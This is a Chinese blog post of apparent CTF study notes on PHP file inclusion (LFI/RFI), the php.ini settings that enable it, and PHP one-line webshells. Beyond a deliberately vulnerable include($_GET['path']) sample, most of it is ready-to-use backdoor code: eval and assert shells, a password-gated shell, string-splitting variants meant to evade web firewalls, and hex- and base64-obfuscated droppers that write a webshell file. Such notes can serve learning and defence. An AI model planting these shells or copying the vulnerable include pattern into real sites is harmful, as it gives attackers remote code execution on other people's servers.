Web 2

本文详细介绍了PHP中的文件包含漏洞,包括本地文件包含(LFI)和远程文件包含(RFI),以及相关配置如allow_url_fopen和allow_url_include。此外,还讨论了一句话木马的常见形式和防范方法,例如eval、assert等函数的滥用,并展示了变形后门和灭杀后门的实例。
摘要由CSDN通过智能技术生成

一.文件包含

宗旨:将任何的php文件或者非php文件利用函数包含进php文件之后都会被当作php代码解析PHP提供一些函数来进行各个文件之间的相互引用,并提供了一些协议用于读取或者写入文件。

特殊文件包含:

最常⻅的使用:

include('flag.php')包含flag.php文件

* php代码执行的时候会写去访问flag.php,就好似把flag.php文件全部放在了当前文件,并且执行包含后的这个文件==============>不仅包含也会执行

其他函数:

include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile

#各种语言文件包含
#ASP ASPX PHP JSP Python Javaweb
<c:import url="http://...">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include ('test.php')?>

分类:

相关配置

本地文件包含 (LFI):可以读取与打开本地文件

远程文件包含 (RFI)(HTTP,FTP,PHP伪协议):可以远程加载文

php.ini文件:
本地:allow_url_fopen=On/Off
远程:allow_url_include=On/Off
<?php
if(isset($_GET['path'])){
    include $_GET['path'];
}else{
    echo "?path=info.php";
}
?>
本地:可通过相对路径方式找到文件
?path=info.php
远程:可通过http(s)或者ftp等方式远程加载文件
?path=http://......info.php
?path=ftp://....

allow_url_fopen = On allow_url_include = On

  • 本地文件包含:通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行
  • 远程文件包含:就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器执行代码。

?path=http://192.168.158.119/phpinfo.php

1.包含一句话木马:

将一句话写在一个文件中上传之后,在可以包含文件的php⻚面包含该文件,直接利用一句话

常⻅的一句话

eval :

  • 用来执行任意php代码
  • 用法:
<?php
eval($_POST[1]);
//1=system(ls);
?>

最常⻅的木⻢:

<?php
eval($_POS[1]);
?>

防爆破木⻢:

<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
x=myh0st

过狗一句话:

<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //s=assert
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>//将敏感函数通过.链接防止被检

不用 ? 的一句话远程:

<script language="php">eval ($_POST[hihack]);</script>

不用eval的一句话:

<?php
assert($_POST[1]);
?>
//具体看web1中的执行PHP代码函数的讲解

变形一句话后门:

<!--?php fputs 
(fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?-->
pack:pack(string $format, mixed ...$values): string //将输入参数打包成 format 格式的二进制字符串。6c6f7374776f6c662e706870//lostwolf.php
3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e//<?@eval($_POST[lostwolf])?>
<!--?php @ fputs (fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?-->

pack----->注意format代表的格式

灭杀一句话:

<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?-->

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值